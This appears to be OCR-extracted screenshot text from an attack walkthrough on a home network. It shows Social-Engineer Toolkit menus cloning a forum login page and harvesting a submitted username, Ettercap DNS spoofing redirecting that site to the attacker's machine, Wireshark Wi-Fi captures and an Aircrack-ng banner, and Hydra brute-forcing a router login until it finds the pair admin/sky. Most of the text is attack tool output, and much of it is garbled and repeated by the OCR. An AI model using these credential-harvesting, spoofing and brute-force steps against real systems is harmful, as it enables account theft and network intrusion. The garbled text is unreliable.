4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

ebattack>3ll
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vester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation th
rough the browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

se

ebattack>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates

2) site Cloner

3) Custom Import

99) Return to Webattack Menu

ebattack>2l]
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same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

—— % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT % ——

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

192.168.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.
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should only have an index.html when using the import website
functionality.

1) Web Templates
2) site Cloner
3) Custom Import

99) Return to Webattack Menu

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

—— % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT % ——

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

0]:192.168

set:uebattack> IP address for the POST back in Harvester/Tabnabbing [192.168.
[-1 SET supports both HTTP and HTTPS
[-] Example: http://wm.thisisafakesite.com

battack> Enter the url to clone:http://newdwf.com/ucp.php?mode=loginll

= [Attack3- SET - File Ma...

12:01PM @
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redential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

—— % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT % ——

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:uebattack> IP address for the POST back in Harvester/Tabnabbing [192.168.
-1 SET supports both HTTP and HTTPS

[-] Example: http://wm.thisisafakesite.com

set:uebattack> Enter the url to clone:http://newdwf.com/ucp.php?mode=login

0]:192.168

[*] Cloning the website: http://newdwf.com/ucp.php?mode=

ogin
[*] This could take a little bit...

O ShellNo.1 = [Attack3- SET - File Ma...

12:01PM @

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
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Hostlist x  Plugins x

Name Version Info
arp_cop 11 Report suspicious ARP activity
autoadd 12 Automaticallyadd new victims in the target range
chk_poison 11 Checkif the poisoning had success
*  dns_spoof 13 Sends spoofed dns replies

dos_attack 10 Runados.attackagainstanIP address
dummy 30 Aplugintemplate (for developers)
find_conn 10 Searchconnections ona switched LAN
find_ettercap 2.0 Trytofind ettercap activity
find_ip 10 SearchanunusedIP address in the subnet
finger 16 Fingerprint a remote host
finger_submit 1.0 Submita fingerprintto ettercap's website
fraggle_attack 1.0 Runafraggle attackagainst hosts of target one
gre_relay 11 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Trytofindthe LAN gateway
isolate 10 Isolateanhostfrom the lan

dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]

dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]
dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]
dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]
dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]
dns_spoof: A [www.newdwf.com] spoofed to [192.168.0.30] TTL [36005]
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lable. Regardless, this captures all POSTs on a website
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:

ShellNo.1

192.168.0.24 - - [15/Apr/2020 17:09:31] "GET / HTTP/1.1" 200 -

192.168.0.24 - - [15/Apr/2020 17:09:31] "GET /style.php?id=26lang=enssid=8bb120d
43b844359F2932091242d1db0 HTTP/1.1" 404 -

192.168.0.24 - - [15/Apr/2020 17:09:31] "GET /styles/we_universal/theme/normal.c
ss HTTP/1.1% 404 -

192.168.0.24 - - [15/Apr/2020 17:09:31] "GET /styles/we_universal/theme/large.cs
s HTTP/1.1" 404 -

192.168.0.24 - - [15/Apr/2020 17:09:31] "GET /styles/we_universal/theme/medium.c

ss HTTP/1.1" 404 -

[*] WE GOT A HIT! Printing the outpu

POSSIBLE USERNAME FIELD FOUND: username=joe123456

POSSIBLE PASSWORD FIELD FOUNI assword

POSSTBLE USERNAME FIELD FOUNI /ucp. php?mode=Togin
PARAM: 5id=8bb120d43b84d359f2932091242d1dbo

PARAM: 5id=8bb120d43b84d359f2932091242d1dbo

PARAM: redirect=index.php

POSSIBLE USERNAME FIELD FOUND: login=Login

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

192.168.

24 - - [15/Apr/2020 17:11:19] "GET /ucp.php?mode=10ginésid=87f70a6a0338e11ca6fadofect8s0a7 HTTP/1.1" 404 -
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No. Time Source Destination Protoc~ Lengtt Info S

558 48.774728  BSKyB 84:23:24 Netgear_Oc:fc: 802.11 374 Probe Response, SN=315¢, FN=0, Flags=....R SSTD=SKYACF62

550 48.782410  BSkyB 84:23:24 Netgear 0c: f 892,11 374 Probe Response, Sl FN=0, R SSID=SKYACF62

560 48.785480  BSkyB 84:23:24 Netgear 0c: f 892,11 374 Probe Response, Sl R SSID=SKYACF62

561 48.780064  BSkyB 84:23:24 Netgear 0c: f 892,11 374 Probe Response, S| R SSID=SKYACF62

562 49.203272  BSkyB 84:23:24 Spanning-tree- (for-.. 802.11

563 49.291914  BSkyB 58:35:79 Broadcast 802.11

564 49.534092 802.11 Acknowledgement,,
565 49.537164 802.11 Acknowledgement,
566 49.540236 802.11 Acknowledgement,
567 40546890  BSkyB_84:23:24 802.11 Probe Response, SH=: Flags=........, BI=100, SSID=SKYACF62
568 49.548040 BSkyB 84323124 (38:.. 802,11 Acknowledgement, Flag .
560 50.017416  AmazonTe Broadcast 802.11 Data, P Fe
570 50.217096  BSkyB_84 Spanning-tree- (for-.. 802,11 Data, oo
57150.347208  BSkyB_58 Broadcast 802.11 Data, oo
572 51.243208 Spanning-tree- (for-.. 802,11 Data, oo
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No. Time Source Destination Protocc Lengtf Info =
4503 100.506942  Guangdon 67:06:de  BSkyB 84:23:24 802.11 26 QoS Null function (No data), SN=164, F=9, Flags= T
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4505 101.017928 Guangdon 67:06:de (.. 802.11 10 Acknouledgement, Flag

4606 101.017941  BSkyB_84:23:24 (38:.. Guangdon 67:06:de (. 802.11 328 Request-to-send, Flag:
4607 101.018442 Guangdon_67:06:de (.. 802,11 Clear-to-send, Flag

4608 101.037906  BSkyB_84:23 Spanning-tree-(for-.. 802,11 Data, E
4600 102.134674  BSkyB_84 Spanning-tree- (for-.. 802,11 Data, E
4610 103.153676  BSkyB_89 802.11 Data, E
4611 103.150308  BSkyB_89 N 802.11 Data, E
4612 103.162380  BSkyB_89 Tpvdncast_7f:ff:fa 802,11 Data, E
4613 103.164426  3a:947ed 26 Broadcast 802.11 Data, E
4614 103.178764  BSkyB 89 Ipvdncast_7f:ff:fa 802,11 Data, E
4615 103.182860  BSkyB_89 802.11 Data, E
4616 103.189002  BSkyB_89: 802.11 Data, E
4617 103.337988 802.11 Acknowledgement,

4618 103.339012  BSkyB_58: (28: 802.11 862.11 Block Ack Req, Flag

4619 104.061450
4620 105.082444

Spanning-tree-(for-.. 802,11
Spanning-tree-(for-.. 802,11

g
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@ 7 capture0l.cap

1621 - Displayed: 4621 (100.0%) - Selected: 2 (0.0%) Profile: Default




image54.png
View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN 1O mMIRE Qes=FIEEQaaaf

(WApply 2 display filter ... <Ciri/> =)+
No. Time Source Destination Protocc Lengtf Info =
972 137.300238  Guangdon 67:06 BSkyB 84:23 i 802 542 802.11 Block Ack, Flags=

973 137.310256  Guangdon_67 (. BSkyB_84:23 802. 270 Request-to-send, Flag:
974 137.312324  BSkyB_84 Guangdon_67 802. 1086 802.11 Block Ack, Flag
975 137.313401  BSkyB_58 Guangdon_67 802. 4963 QoS Data, SN=500, FI
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Aircrack-ng 1.6
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[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]

[80][http-get] host: 192.168.0.1

target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target
target

Edit

192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

View Help

Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin

[STATUS] attack finished for 192.168
1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2

kaliakaliz~$ I

Togi

“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®

admin
1 (valid pair found)

pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass

05:49PM @
hali@kali:~

"redips" - 72682 of 252042 [child 3] (8/0)
“reecamédebug* - 72683 of 252042 [child 9] (
“replicator" - 72684 of 252042 [child 11] (
“rmnetlnm* - 72685 of 252042 [child 5] (0/0)
"ro” - 72686 of 252042 [child 15] (0/0)
“robotics® - 72687 of 252042 [child 3] (0/0)
"root" - 72688 of 252042 [child 5] (0/0)
"rootme" - 72689 of 252042 [child 8] (8/0)
“router” - 72690 of 252042 [child 10] (
"rw" - 72691 of 252042 [child 15] (0/0)
“rva® - 72692 of 252042 [child 12] (
“rumaint* - 72693 of 252042 [child 3] (0/0)
“samsung" - 72694 of 252042 [child 9] (0/0)
“satori” - 72695 of 252042 [child 14] (0/0)
“scmchangeme® - 72696 of 252042 [child 12] (
"scout” - 72697 of 252042 [child 5] (0
“secret” - 72698 of 252042 [child 3] (0/0)
“secure” - 72699 of 252042 [child 5] (0/0)
“security® - 72700 of 252042 [child 2] (0/0)
“serial#® - 72701 of 252042 [child 10]
“service® - 72702 of 252042 [child 15] (0/0)
“setup” - 72703 of 252042 [child 9] (0/0)
"shadow" - 72704 of 252042 [child 6] (0/@)
“sitecom® - 72705 of 252042 [child 0]
"sky* - 72706 of 252042 [child 3] (/@)
“smallbusiness® - 72707 of 252042 [child 5] (0/0)
“smcadmin® - 72708 of 252042 [child 4] (0/0)
“smile® - 72709 of 252042 [child 10] (0/
“snmp-Trap® - 72710 of 252042 [child 11
“snoopy1* - 72711 of 252042 [child 0] (

password: sky

A Gs% @ e





image58.png
B mm=m| O kieki-~

File Actions

[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
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[ATTEMPT]
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[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]

[80][http-get] host: 192.168.0.1

target
target
target
target
target
target
target
target
target
target
target
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target
target
target
target
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target
target
target
target
target
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target
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target
target
target
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Tlogin
Tlogin
Tlogin
Tlogin
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Tlogin
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Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
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[STATUS] attack finished for 192.168
1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2

kaliakaliz~$ I

Togi

“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®

admin
1 (valid pair found)

pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass

06:59PM @
hali@kali:~

“replicator” - 72684 of 252042 [child 12] (
“rmnetlm* - 72685 of 252042 [child 11] (o,
"ro" - 72686 of 252042 [child 6] (0/0)
“robotics® - 72687 of 252042 [child 15] (
"root" - 72688 of 252042 [child 12] (0/0)
“rootme” - 72689 of 252042 [child 7] (0/0)
“router* - 72690 of 252042 [child 9] (0/0)
“ru* - 72691 of 252042 [child 5] (0/0)

"rwa" - 72692 of 252042 [child 6] (0/0)
“rumaint* - 72693 of 252042 [child 10] (0/0)
“samsung" - 72694 of 252042 [child 12]
"satori® - 72695 of 252042 [child 7] (0/0)
“scmchangeme* - 72696 of 252042 [child 8] (
"scout” - 72697 of 252042 [child 9] (0/0)
“secret” - 72698 of 252042 [child 10] (0/0)
"secure” - 72699 of 252042 [child 11] (0/¢
“security® - 72700 of 252042 [child 14] (0/0)
“serial#® - 72701 of 252042 [child 12] (0/0)
"service" - 72702 of 252042 [child 7] (0/0)
“setup® - 72703 of 252042 [child 2] (0
“shadow® - 72704 of 252042 [child 3] (
“sitecom® - 72705 of 252042 [child 0] (
“sky* - 72706 of 252042 [child 5] (0/0)
“smallbusiness® - 72707 of 252042 [child 4] (0/0)
“smcadmin® - 72708 of 252042 [child 12] (0/0)
“smile - 72709 of 252042 [child 2] (0/0)
“snmp-Trap® - 72710 of 252042 [child 3] (0/0)
“snoopy1* - 72711 of 252042 [child 8] (0/
"soccer” - 72712 of 252042 [child 9] (0/0)
“software01” - 72713 of 252042 [child 13] (

password: sky
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